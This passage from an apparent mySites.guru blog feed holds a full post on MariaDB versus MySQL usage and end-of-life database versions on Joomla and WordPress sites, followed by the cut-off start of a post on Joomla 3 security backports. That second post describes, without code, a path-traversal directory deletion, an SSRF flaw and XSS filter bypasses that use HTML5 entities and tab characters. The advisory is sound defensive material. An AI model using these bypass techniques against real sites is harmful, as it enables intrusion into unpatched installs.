&lt;h2&gt;MariaDB vs MySQL on Joomla and WordPress sites&lt;/h2&gt;
&lt;div&gt;&lt;div&gt;&lt;p&gt;MariaDB runs 70.7% of the Joomla sites we monitor and 59.1% of the WordPress sites.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;MySQL has the rest. These figures come from the version string each database server returns, read from connected sites that took a snapshot in the last 90 days. We publish percentages only, and site counts stay private.&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Platform&lt;/th&gt;&lt;th&gt;MariaDB&lt;/th&gt;&lt;th&gt;MySQL&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Joomla&lt;/td&gt;&lt;td&gt;70.7%&lt;/td&gt;&lt;td&gt;29.3%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;WordPress&lt;/td&gt;&lt;td&gt;59.1%&lt;/td&gt;&lt;td&gt;40.9%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Other PHP sites&lt;/td&gt;&lt;td&gt;86.7%&lt;/td&gt;&lt;td&gt;13.3%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;All sites&lt;/td&gt;&lt;td&gt;68.1%&lt;/td&gt;&lt;td&gt;31.9%&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Both CMS projects publish their own numbers, and they point the same way. &lt;a href=&quot;https://api.wordpress.org/stats/mysql/1.0/&quot;&gt;WordPress.org’s database statistics&lt;/a&gt; currently show about 60% MariaDB, within a point of ours, a crossover the MariaDB Foundation &lt;a href=&quot;https://mariadb.org/mariadb-passes-mysql-in-wordpress-usage/&quot;&gt;wrote up in 2025&lt;/a&gt;. &lt;a href=&quot;https://developer.joomla.org/stats/&quot;&gt;Joomla’s usage statistics&lt;/a&gt; do not separate the two engines (both report as &lt;code&gt;mysqli&lt;/code&gt;), but sorting the last 90 days by version number gives roughly 62% MariaDB.&lt;/p&gt;
&lt;p&gt;Our Joomla figure is nine points higher than that. The likely reason is who is in the sample: Joomla’s statistics come from any install that opted in, while ours come from sites someone pays to manage, and those sit on hosting that gets updated more often. The “other PHP sites” row is the weakest of the four. Most custom PHP sites don’t report their database, so treat it as indicative.&lt;/p&gt;
&lt;h2&gt;What the **** is MariaDB?&lt;/h2&gt;
&lt;p&gt;That would be the reaction of most Joomla site owners to the Reddit question. Most of them have never heard of MariaDB, and they have certainly never sat down and compared its features with MySQL’s. They bought hosting, ran the Joomla installer, typed in the database details the control panel gave them, and moved on. As far as they are concerned, the site has “a database”, and that is the end of it.&lt;/p&gt;
&lt;p&gt;For the record, MariaDB is a fork of MySQL started in 2009 by Michael “Monty” Widenius, one of MySQL’s original authors, after Oracle moved to buy Sun Microsystems and MySQL with it. It was built as a drop-in replacement: Joomla and WordPress talk to it through the same &lt;code&gt;mysqli&lt;/code&gt; driver they use for MySQL, which is exactly why a site owner never needs to know which one is underneath. The two have drifted apart since, mostly in features a CMS does not touch.&lt;/p&gt;
&lt;h2&gt;The web host made the choice&lt;/h2&gt;
&lt;p&gt;So when 68% of sites run MariaDB, the site owners did not choose that. The host did, and the host’s choice is visible in the data.&lt;/p&gt;
&lt;p&gt;The version strings show it. A database server reports the build it came from, and across Joomla sites alone we see over 700 distinct version strings. A sixth of the MariaDB servers behind Joomla sites report a &lt;code&gt;cll-lve&lt;/code&gt; build, the CloudLinux packaging under much of cPanel shared hosting, and cPanel itself &lt;a href=&quot;https://mariadb.org/mariadb-default-in-cpanel/&quot;&gt;made MariaDB the default for new servers&lt;/a&gt; from version 122. Another 18% report a Debian or Ubuntu package, which is what a VPS gets when somebody types &lt;code&gt;apt install&lt;/code&gt; and accepts the default. On Debian, the default MySQL-compatible server has been MariaDB for years.&lt;/p&gt;
&lt;p&gt;The clearest evidence is in agency accounts. &lt;strong&gt;58% of mySites.guru accounts with five or more sites have sites on MariaDB and MySQL at the same time.&lt;/strong&gt; These are people who manage sites for a living, and their portfolios are still split, because each client arrived with hosting already in place. No agency gets to standardise the database across thirty clients’ hosting accounts.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The host picks the database&lt;/p&gt;&lt;div&gt;&lt;p&gt;For a typical Joomla or WordPress site, the MariaDB vs MySQL question was settled the day someone chose a hosting plan.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;That is why the “which is faster” comparisons filling the search results miss this audience. The decision a site owner controls is the host. The useful question to put to that host is which database version they run and when they plan to move off it, which matters more this year than it has for a while.&lt;/p&gt;
&lt;h2&gt;Half of all sites now run an end-of-life database&lt;/h2&gt;
&lt;div&gt;&lt;div&gt;&lt;p&gt;51% of the sites we monitor run a MySQL or MariaDB release that its developers no longer support.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Most of that happened in 2026. Oracle ended support for &lt;a href=&quot;https://endoflife.date/mysql&quot;&gt;MySQL 8.0&lt;/a&gt; on 30 April, and the MariaDB Foundation ended &lt;a href=&quot;https://endoflife.date/mariadb&quot;&gt;MariaDB 10.6&lt;/a&gt; on 6 July. Those two versions alone run 36% of the sites we see, so a third of sites went end of life this year without anyone touching them.&lt;/p&gt;































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Engine&lt;/th&gt;&lt;th&gt;Version&lt;/th&gt;&lt;th&gt;Share of all sites&lt;/th&gt;&lt;th&gt;Upstream support&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;MariaDB&lt;/td&gt;&lt;td&gt;10.11&lt;/td&gt;&lt;td&gt;28.1%&lt;/td&gt;&lt;td&gt;Until February 2028&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MySQL&lt;/td&gt;&lt;td&gt;8.0&lt;/td&gt;&lt;td&gt;18.7%&lt;/td&gt;&lt;td&gt;Ended April 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MariaDB&lt;/td&gt;&lt;td&gt;10.6&lt;/td&gt;&lt;td&gt;17.4%&lt;/td&gt;&lt;td&gt;Ended July 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MariaDB&lt;/td&gt;&lt;td&gt;11.4&lt;/td&gt;&lt;td&gt;9.3%&lt;/td&gt;&lt;td&gt;Until May 2029&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MySQL&lt;/td&gt;&lt;td&gt;8.4&lt;/td&gt;&lt;td&gt;7.8%&lt;/td&gt;&lt;td&gt;Until April 2029&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MySQL&lt;/td&gt;&lt;td&gt;5.7&lt;/td&gt;&lt;td&gt;4.0%&lt;/td&gt;&lt;td&gt;Ended October 2023&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MariaDB&lt;/td&gt;&lt;td&gt;10.5&lt;/td&gt;&lt;td&gt;3.8%&lt;/td&gt;&lt;td&gt;Ended June 2025&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MariaDB&lt;/td&gt;&lt;td&gt;11.8&lt;/td&gt;&lt;td&gt;3.5%&lt;/td&gt;&lt;td&gt;Until June 2028&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MariaDB&lt;/td&gt;&lt;td&gt;10.3&lt;/td&gt;&lt;td&gt;2.5%&lt;/td&gt;&lt;td&gt;Ended May 2023&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MariaDB&lt;/td&gt;&lt;td&gt;10.4&lt;/td&gt;&lt;td&gt;2.1%&lt;/td&gt;&lt;td&gt;Ended June 2024&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MySQL&lt;/td&gt;&lt;td&gt;5.5&lt;/td&gt;&lt;td&gt;1.0%&lt;/td&gt;&lt;td&gt;Ended December 2018&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MySQL&lt;/td&gt;&lt;td&gt;5.6&lt;/td&gt;&lt;td&gt;0.4%&lt;/td&gt;&lt;td&gt;Ended February 2021&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MariaDB&lt;/td&gt;&lt;td&gt;10.2&lt;/td&gt;&lt;td&gt;0.4%&lt;/td&gt;&lt;td&gt;Ended May 2022&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MariaDB&lt;/td&gt;&lt;td&gt;12.x&lt;/td&gt;&lt;td&gt;0.3%&lt;/td&gt;&lt;td&gt;12.3 LTS until June 2029&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;&lt;div&gt;&lt;p&gt;The split by platform is close: 50.7% of Joomla sites and 52.1% of WordPress sites are on an end-of-life release.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The two platforms get there differently. On WordPress the larger part is MySQL (29.3% of sites, mostly 8.0 and 5.x), while on Joomla it is MariaDB (28.1%, mostly 10.6 plus a long tail of 10.3 to 10.5).&lt;/p&gt;
&lt;h3&gt;Why half of all sites are left on an old database&lt;/h3&gt;
&lt;p&gt;Websites are sold as a project. The build is paid for once, and what follows is a small monthly hosting fee and, if the client is lucky, a cheap maintenance plan. That recurring money is too thin to pay anyone to keep looking, so once a site goes live, nobody does. The site keeps working, the client is happy, and underneath it the PHP version, the database server and the extensions all age a little more each month. Sites are rarely abandoned in one go. They rot slowly.&lt;/p&gt;
&lt;p&gt;The database is the clearest case, because it sits on the host’s side where neither the site owner nor most agencies ever look. Nothing on the site changes when MySQL 8.0 or MariaDB 10.6 goes out of support. No error appears, no email arrives, and the admin dashboard looks exactly as it did the day before. You only find out if something is watching.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does. Every connected site takes a &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;snapshot&lt;/a&gt; twice a day, which records its CMS, PHP and database versions, and the dashboard flags &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end-of-life Joomla, WordPress and PHP versions&lt;/a&gt; across every site you manage. The compatibility pages below grade each site’s database too, so the slow rot shows up as a list of hosts to chase instead of a surprise during the next major upgrade. For an agency, that list is also the case for a maintenance plan worth paying for: you can show a client exactly what has aged on their site since launch. You can &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;try it on your own sites&lt;/a&gt; or start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt;.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Some end-of-life servers still get patches&lt;/p&gt;&lt;div&gt;&lt;p&gt;A server running the MySQL 8.0 or MariaDB 10.6 package from a supported Linux distribution may still get security fixes from that distribution, so those two need checking host by host. The 14.4% of sites on MySQL 5.x or MariaDB 10.5 and older have no such cover: those releases are years past any support.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;There is one more catch for anyone hoping to move off MySQL 8.0 to MariaDB. A dump exported from MySQL 8 uses the &lt;code&gt;utf8mb4_0900_ai_ci&lt;/code&gt; collation, which MariaDB only &lt;a href=&quot;https://jira.mariadb.org/browse/MDEV-20912&quot;&gt;accepts from 11.4.5 onwards&lt;/a&gt;. Import it into anything older and the restore fails with “Unknown collation”.&lt;/p&gt;
&lt;h2&gt;Is your database ready for Joomla 6 and WordPress 7?&lt;/h2&gt;
&lt;p&gt;Joomla 6 enforces a database minimum of MySQL 8.0.13 or MariaDB 10.4, according to the &lt;a href=&quot;https://manual.joomla.org/docs/get-started/technical-requirements/&quot;&gt;Joomla technical requirements&lt;/a&gt;, and recommends MySQL 8.4 or MariaDB 12. &lt;strong&gt;9.9% of the Joomla sites we monitor are below that minimum&lt;/strong&gt; and cannot update to Joomla 6 until their host upgrades the database. Our &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 technical requirements post&lt;/a&gt; covers the full list.&lt;/p&gt;
&lt;p&gt;WordPress is far more forgiving. The &lt;a href=&quot;https://wordpress.org/about/requirements/&quot;&gt;WordPress requirements page&lt;/a&gt; still accepts MySQL or MariaDB 5.5.5, and WordPress 7.0 left that floor alone while raising the PHP minimum. What WordPress recommends is a different matter: the &lt;a href=&quot;https://make.wordpress.org/hosting/handbook/compatibility/version/7-0/&quot;&gt;hosting handbook for 7.0&lt;/a&gt; lists MySQL 8.4 and MariaDB 10.11, 11.4 or 11.8, and its supported list stops at MySQL 8.4 and MariaDB 10.6. The &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-technical-requirements-check/&quot;&gt;WordPress 7 hosting check&lt;/a&gt; explains how we grade that.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;See each site&apos;s database at once&lt;/p&gt;&lt;div&gt;&lt;p&gt;The &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6&lt;/a&gt; and &lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;WordPress 7&lt;/a&gt; compatibility pages in mySites.guru list every connected site with its PHP and database version, colour-coded against that release’s requirements. Filtering by database type or version shows which host each problem sits on.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;multiple WordPress sites&lt;/a&gt;, that page is the shortest route to a list of hosts to email. We track &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end-of-life CMS and PHP versions&lt;/a&gt; the same way.&lt;/p&gt;
&lt;h2&gt;Newer sites lean further towards MariaDB&lt;/h2&gt;
&lt;p&gt;The newer the CMS version on a site, the more likely it sits on MariaDB. &lt;a href=&quot;https://joomla3security.com/&quot;&gt;Joomla 3&lt;/a&gt; sites run MariaDB about two thirds of the time, Joomla 6 sites more than three quarters of the time, and WordPress shows the same slope.&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CMS version&lt;/th&gt;&lt;th&gt;On MariaDB&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Joomla 3&lt;/td&gt;&lt;td&gt;66.9%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 5&lt;/td&gt;&lt;td&gt;72.4%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 6&lt;/td&gt;&lt;td&gt;76.5%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;WordPress 6&lt;/td&gt;&lt;td&gt;51.3%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;WordPress 7&lt;/td&gt;&lt;td&gt;60.3%&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;A site on the latest CMS release is usually on a host that has updated its stack recently, and hosts that update are mostly moving to MariaDB. We left Joomla 4 out of the table: one large account holds a fifth of the Joomla 4 sites we see, all on MySQL, which tips that row on its own. With the ten largest accounts removed, Joomla 4 sits at 56.5% MariaDB and the other rows move by a few points at most.&lt;/p&gt;
&lt;h2&gt;What about vector search in MariaDB 11.8?&lt;/h2&gt;
&lt;p&gt;The Reddit post also asked whether anyone has done anything with vectors. &lt;a href=&quot;https://mariadb.org/projects/mariadb-vector/&quot;&gt;MariaDB Vector&lt;/a&gt; became generally available in &lt;a href=&quot;https://mariadb.org/11-8-lts-released/&quot;&gt;MariaDB 11.8 LTS&lt;/a&gt; in June 2025, with a &lt;code&gt;VECTOR&lt;/code&gt; column type, vector indexes and distance functions built into the server.&lt;/p&gt;
&lt;h3&gt;Why would Joomla users even be interested in vector search in MariaDB 11.8?&lt;/h3&gt;
&lt;p&gt;Vector search finds content by meaning rather than by matching words. Each article, product or support answer is turned into a list of numbers (an embedding) by an AI model, and the database stores those numbers in a &lt;code&gt;VECTOR&lt;/code&gt; column. A visitor’s query gets the same treatment, and &lt;code&gt;VEC_DISTANCE_COSINE()&lt;/code&gt; returns the rows whose meaning sits closest to it. Someone searching for “cancel my subscription” finds the article titled “Ending your membership”, which a keyword search such as Joomla’s Smart Search would usually miss.&lt;/p&gt;
&lt;p&gt;On a Joomla site that could mean:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;site search that understands synonyms and badly worded questions&lt;/li&gt;
&lt;li&gt;“related articles” and “similar products” chosen by content, not by shared tags&lt;/li&gt;
&lt;li&gt;a support chatbot that answers from the site’s own articles, with the content and its embeddings in the Joomla database instead of a separate vector service&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For ordinary hosting, the last point is the big one. Until now, AI search features have meant paying for an external vector database and syncing content to it. With MariaDB 11.8 the vectors live in the same database as &lt;code&gt;#__content&lt;/code&gt;, backed up with it and moved with it. You still need an AI model to create the embeddings, so it is not free, but it removes a whole extra service from the setup.&lt;/p&gt;
&lt;p&gt;Only 3.9% of the sites we monitor are on MariaDB 11.8 or newer, so almost no Joomla or WordPress site can use it yet. We found no Joomla extension that uses it. On the WordPress side, Automattic has an experimental &lt;a href=&quot;https://github.com/Automattic/wpvdb&quot;&gt;native vector database plugin&lt;/a&gt; on GitHub that supports MariaDB 11.7 and later, but it is not in the plugin directory. Vector search inside the CMS database is waiting on hosts, the same as everything else in this post.&lt;/p&gt;
&lt;h2&gt;How we counted&lt;/h2&gt;
&lt;p&gt;All figures here come from the database version reported by sites connected to mySites.guru that completed a snapshot in the last 90 days, read on 2 October 2026. Disabled sites and sites that report no database version are excluded.&lt;/p&gt;
&lt;p&gt;Classifying the engine from a version string needs two corrections. MariaDB 10.x reports itself as &lt;code&gt;5.5.5-10.x.y&lt;/code&gt;, a prefix added so old MySQL clients would accept a version number starting with 10. MariaDB &lt;a href=&quot;https://mariadb.com/docs/release-notes/community-server/old-releases/11.0/11.0.0&quot;&gt;removed it in 11.0&lt;/a&gt;, so we strip it before reading the version. Some MariaDB 11 and 12 servers return a bare number with no “MariaDB” in it, so we count any major version of 10 or above as MariaDB. MySQL has never shipped a version 10.&lt;/p&gt;
&lt;h2&gt;Take the MariaDB survey&lt;/h2&gt;
&lt;p&gt;The MariaDB Foundation’s &lt;a href=&quot;https://mariadb.typeform.com/to/tS69UzVo&quot;&gt;2026 database survey&lt;/a&gt; is open until mid-October. Last year’s &lt;a href=&quot;https://mariadb.org/survey/2025-report&quot;&gt;State of MariaDB report&lt;/a&gt; drew 275 responses, so each Joomla and WordPress developer who answers moves the result. If you run sites on MariaDB, or avoid it on purpose, they want to hear why.&lt;/p&gt;
&lt;p&gt;“My host installed it” is a perfectly good answer to the survey’s “why”. Judging by the sites we monitor, it is probably the most common one.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mariadb.org/launching-mariadbs-database-survey-2026/&quot;&gt;MariaDB Database Survey 2026&lt;/a&gt; - the Foundation&apos;s announcement, with the survey open until mid-October&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mariadb.org/survey/2025-report&quot;&gt;State of MariaDB 2025&lt;/a&gt; - last year&apos;s survey results&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/stats/&quot;&gt;Joomla usage statistics&lt;/a&gt; - opt-in data from Joomla installs, including database version&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://api.wordpress.org/stats/mysql/1.0/&quot;&gt;WordPress database statistics&lt;/a&gt; - the live MySQL and MariaDB version breakdown from WordPress.org&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://endoflife.date/mysql&quot;&gt;endoflife.date: MySQL&lt;/a&gt; and &lt;a href=&quot;https://endoflife.date/mariadb&quot;&gt;MariaDB&lt;/a&gt; - support dates for every release line&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/get-started/technical-requirements/&quot;&gt;Joomla technical requirements&lt;/a&gt; - minimum, supported and recommended database versions for Joomla 6&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>hosting</category><category>end-of-life</category><category>mariadb</category><category>mysql</category><enclosure url="https://mysites.guru/img/og/blog/mariadb-vs-mysql-joomla-wordpress-sites.png" length="0" type="image/png"/></item><item><title>14 More Joomla 3 Security Fixes, Each Tested on a Real 3.10.12 Site</title><link>https://mysites.guru/blog/joomla-3-security-fixes-verified-on-3-10-12/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-3-security-fixes-verified-on-3-10-12/</guid><description>Joomla 5.4.9 fixed 16 core issues. We backported every one reaching Joomla 3 to the mySites.guru one-click patch tool, each proved on a real 3.10.12 site.</description><pubDate>Fri, 02 Oct 2026 11:50:26 GMT</pubDate><content:encoded>&lt;p&gt;Joomla’s September 2026 release, &lt;a href=&quot;https://www.joomla.org/announcements/release-news/joomla-6-1-4-5-4-9-security-bugfix-release.html&quot;&gt;Joomla 5.4.9 and 6.1.4&lt;/a&gt;, closed sixteen core security issues. If you run a Joomla 3 site, you will never be offered a single one of them. &lt;a href=&quot;https://joomla3security.com/timeline/&quot;&gt;Joomla 3 reached end of life in August 2023&lt;/a&gt; at version 3.10.12, and the project ships security fixes only for Joomla 5 and 6.&lt;/p&gt;
&lt;p&gt;There used to be a paid way to keep getting them. Joomla’s &lt;a href=&quot;https://elts.joomla.org/&quot;&gt;Extended Long Term Support programme&lt;/a&gt; backported fixes to Joomla 3 for a subscription, but it &lt;a href=&quot;https://elts.joomla.org/&quot;&gt;ended on 17 February 2025&lt;/a&gt; and has shipped nothing since. So as of 2025, there is no official source of new Joomla 3 core security fixes at all, paid or free.&lt;/p&gt;
&lt;p&gt;That is the gap &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;our one-click Joomla 3 patch tool&lt;/a&gt; fills, and this month it grew. We backported the nine September fixes that reach Joomla 3, found five more from the spring that had slipped past us, and shipped all fourteen. The tool went from 65 files to 85.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The short version&lt;/p&gt;&lt;div&gt;&lt;p&gt;Fourteen more Joomla core security fixes are now in the mySites.guru one-click Joomla 3 patch tool, every one of them reproduced on a real Joomla 3.10.12 install before we shipped it. One toggle patches all 85 files. No eLTS subscription, and switch it off to revert.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What does the mySites.guru Joomla 3 patch tool do?&lt;/h2&gt;
&lt;p&gt;The tool is a toggle in each Joomla 3.10.12 site’s Snapshot. Flip it on and the mySites.guru connector compares the hash of every file that needs patching against the version we ship, replacing anything that does not match. Flip it off and the files revert to stock 3.10.12. There is nothing to upload, no eLTS licence, and no risk of being stranded on a half-applied patch.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The patch goes on top of official Joomla 3.10.12, nothing else&lt;/p&gt;&lt;div&gt;&lt;p&gt;It patches the official Joomla 3.10.12 files. It is not a patch on top of an eLTS build, or a third-party fork such as JoomlaWorks’ unofficial &lt;a href=&quot;https://github.com/joomlaworks/joomla-3.x&quot;&gt;Joomla 3.x “up to date”&lt;/a&gt; (which continues Joomla 3 under its own version numbering), or any other Joomla 3 series. If your site runs an eLTS release, a fork, or any version other than stock 3.10.12, upload the full fresh official Joomla 3.10.12 files over the site first, then run the tool to patch them. Straight from official 3.10.12 to the mySites.guru patch is the only supported path.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-3-patch-tool-all-sites.Bx10vq_D_jVH6J.webp&quot; alt=&quot;The Fix Known Joomla 3 End Of Life Security Issues tool in mySites.guru, listing a Joomla 3 site with a green OK badge and an on toggle next to a Manage Site button&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;243&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The tool lists every Joomla 3 site in your account with its own toggle, so you can patch one site or the whole list from one page.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Each Joomla 3 site also shows the same check as a row in its Snapshot. A green OK badge and an on toggle mean the site has every file in the current patch set. When the patch set grows, the badge turns red and shows how many files are now behind, so you know there is new protection to apply rather than having to go looking.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-3-patch-snapshot-row-patched.BG6F14JM_1imolW.webp&quot; alt=&quot;The Fix Known Joomla 3 End Of Life Security Issues row in a site Snapshot, showing a green OK badge and an on toggle&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;139&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;Patched: a green OK badge and the toggle on, meaning every file matches the current patch set.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-3-patch-snapshot-row-unpatched.D16fzbnb_ZktNSd.webp&quot; alt=&quot;The same Snapshot row showing a red 85 Files badge and an off toggle, meaning 85 core files still need patching&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;139&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;Not patched: a red badge showing 85 files behind, after the October 2026 update grew the set. One toggle applies all of them.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Under the hood the patches come from the open-source &lt;a href=&quot;https://github.com/PhilETaylor/Joomla3.10.999&quot;&gt;Joomla 3.10.999 project&lt;/a&gt;, the same approach as the earlier &lt;a href=&quot;https://github.com/PhilETaylor/Joomla1.5.999&quot;&gt;Joomla 1.5.999&lt;/a&gt; and &lt;a href=&quot;https://github.com/PhilETaylor/Joomla2.5.999&quot;&gt;Joomla 2.5.999&lt;/a&gt; repositories. The how-to linked above has the full walkthrough of where the tool lives and how to patch sites in bulk. This post is about what went into it in October 2026, and how we decided.&lt;/p&gt;
&lt;h2&gt;What Joomla fixed in 5.4.9, and what reaches Joomla 3&lt;/h2&gt;
&lt;p&gt;Of the sixteen core issues in Joomla 5.4.9, nine reach the Joomla 3 code and are now patched. The other seven live in parts of Joomla that version 3 never had: the webservice API endpoints, the workflow engine, the HTML mail templates. There is no Joomla 3 equivalent to patch, so they are simply out of scope rather than ignored.&lt;/p&gt;
&lt;p&gt;Four of the nine are worth describing, because they are the kind of flaw that sits unnoticed on an end-of-life site until someone goes looking:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A guest could create a user account&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90907&quot;&gt;CVE-2026-90907&lt;/a&gt;). The &lt;code&gt;profile.save&lt;/code&gt; controller never checked whether the person calling it was logged in, so a signed-out visitor could create a guest-level account even on a site with user registration turned off. The fix rejects a guest outright.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Arbitrary directory deletion through the cache&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90915&quot;&gt;CVE-2026-90915&lt;/a&gt;). The file cache did not properly validate a cache group name, so a crafted name with &lt;code&gt;../&lt;/code&gt; in it could walk out of the cache folder and delete directories elsewhere. The patched version resolves the path and rejects anything that escapes the cache root.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Server-side request forgery&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92222&quot;&gt;CVE-2026-92222&lt;/a&gt;). Several URL fields accepted any scheme, so a URL meant to point at a feed could be pointed at an internal service instead. The fix restricts those fields to &lt;code&gt;http&lt;/code&gt; and &lt;code&gt;https&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Two XSS filter bypasses&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92231&quot;&gt;CVE-2026-92231&lt;/a&gt; and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92232&quot;&gt;CVE-2026-92232&lt;/a&gt;). Joomla’s input filter could be tricked into keeping a &lt;code&gt;javascript:&lt;/code&gt; URL by hiding it behind an HTML5 entity, or a &lt;code&gt;data:text/html&lt;/code&gt; payload behind a tab character. Both are now decoded and stripped the way a browser would read them.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The full list, with every advisory link, is in the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/#what-vulnerabilities-does-it-fix&quot;&gt;one-click how-to&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Why we don’t trust the “affected versions” field&lt;/h2&gt;
&lt;p&gt;This is where the real work is. A Joomla advisory lists the versions it affects, and the obvious thing to do is read that field and patch the versions it names. We don’t, because the field is written against the versions Joomla still supports, and the vulnerable code is often older than the oldest version listed.&lt;/p&gt;
&lt;p&gt;Four of September’s advisories are rated “Joomla 4.0 and later”: the cache directory-deletion above, two improper-ACL checks on tagged items and the content-history comparison view, and an XSS in the module list. Read the field literally and you would skip all four on Joomla 3. Read the actual 3.10.12 source and the same flawed code is right there.&lt;/p&gt;
